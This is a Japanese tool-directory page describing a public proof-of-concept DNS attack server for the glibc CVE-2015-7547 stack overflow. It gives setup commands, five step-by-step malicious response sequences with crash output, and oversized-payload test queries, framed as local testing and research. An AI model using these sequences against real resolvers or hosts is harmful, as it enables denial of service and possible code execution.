Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2015-7547-public — glibc DNSスタブリゾルバのバッファオーバーフローの脆弱性(CVE-2015-7547)に対するPoC攻撃サーバ(公開版) | Kitploit
ツール/GitHubGitHub/esentire/cve-2015-7547-public
脆弱性分析エクスプロイトファジングペネトレーションテストDNS分析バイナリエクスプロイトArchived
GitHubesentire/cve-2015-7547-public

cve-2015-7547-public

glibc DNSスタブリゾルバのバッファオーバーフローの脆弱性(CVE-2015-7547)に対するPoC攻撃サーバ(公開版)

リポジトリを見る
105810年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

glibc DNSスタブリゾルバのCVE-2015-7547脆弱性に対するPoC攻撃サーバ

脆弱なglibcバージョンを使用してローカルマシンでテストするには:

root@kitploit:~
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...

その後、別のターミナルセッションから、以下の例に示すように攻撃を実行します。

攻撃1 (UDP+TCP)

UDPおよびTCPで2048バイトを超える応答を送信できる必要があります。

攻撃シーケンス:

  1. UDP応答、>2048バイト、有効なヘッダ/質問、TCフラグセット(バッファ管理の誤りとTCP再試行を引き起こす)

  2. TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

  3. TCP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)

例:

root@kitploit:~
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)

攻撃2 (UDPのみ)

UDPで2048バイトを超える応答を送信できる必要があります。

攻撃シーケンス:

  1. UDP応答、>2048バイト、無効なヘッダ(バッファ管理の誤りを引き起こすが、有効な応答としてカウントされない)

  2. 次のリクエストを無視する(ポーリングタイムアウトによりUDP再試行を引き起こす)

  • UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

  • UDP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)

  • 例:

    root@kitploit:~
    user@localhost:/$ curl http://attack2
    *** stack smashing detected ***: curl terminated
    Segmentation fault (core dumped)
    

    攻撃3 (UDP+TCP)

    UDPで1024バイトを超え、TCPで2048バイトを超える応答を送信できる必要があります。

    攻撃シーケンス:

    1. UDP応答、1024バイト、有効なヘッダ/質問(スタック割り当てバッファの半分を埋める)

    2. UDP応答、>1024バイト、有効なヘッダ/質問、TCフラグセット(バッファ管理の誤りとTCP再試行を引き起こす)

    3. TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

    4. TCP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)

    例:

    root@kitploit:~
    user@localhost:/$ curl http://attack3
    *** stack smashing detected ***: curl terminated
    Segmentation fault (core dumped)
    

    攻撃4 (UDPのみ)

    UDPで2048バイトを超える応答を送信できる必要があります。

    攻撃シーケンス:

    1. UDP応答、2048バイト、有効なヘッダ/質問(スタック割り当てバッファを埋める)

    2. UDP応答(0バイトのソケット受信により、バッファ管理の誤りとUDP再試行を引き起こす)

    3. UDP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

    4. UDP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)

    例:

    root@kitploit:~
    user@localhost:/$ curl http://attack4
    *** stack smashing detected ***: curl terminated
    Segmentation fault (core dumped)
    

    攻撃5 (TCPのみ)

    TCPで2048バイトを超える応答を送信でき、かつ/etc/resolv.confに少なくとも2つのネームサーバエントリが必要です。

    攻撃シーケンス:

    1. UDP応答、有効なヘッダ/質問、TCフラグセット(オプション。初期クエリがUDPの場合、TCP再試行を引き起こす)

    2. TCP応答、>2048バイト(バッファ管理の誤りを引き起こす)

    3. TCP応答、空(0バイトのソケット受信によりTCP再試行を引き起こす)

    4. TCP応答、有効なヘッダ/質問(次の応答をスタック割り当てバッファに格納させる)

    5. TCP応答、>2048バイト(スタック割り当てバッファをオーバーフローさせる)

    例:

    root@kitploit:~
    user@localhost:/$ curl http://attack5
    *** stack smashing detected ***: curl terminated
    Segmentation fault (core dumped)
    

    ペイロードテスト

    サーバから特定のサイズの有効なタイプA/AAAA応答をトリガーするには、次のいずれかのリクエストを送信します。

    • payload1 (> 64 bytes)
    • payload2 (> 128 bytes)
    • payload3 (> 256 bytes)
    • payload4 (> 512 bytes)
    • payload5 (> 1024 bytes)
    • payload6 (> 2048 bytes)
    • payload7 (> 4096 bytes)
    • payload8 (> 8192 bytes)

    リクエストはUDPまたはTCPで発行でき、応答には適切な数の有効なAまたはAAAA回答が含まれ、応答が要求されたサイズになるようにパディングされます。PoCサーバがテストドメインの権威ネームサーバとして設定されている場合、これにより、過大な応答に直面したときのDNSキャッシュ階層の動作を調査できます。

    例:

    root@kitploit:~
    user@localhost:/$ curl http://payload1.somedomain.com
    
    ツールをダウンロード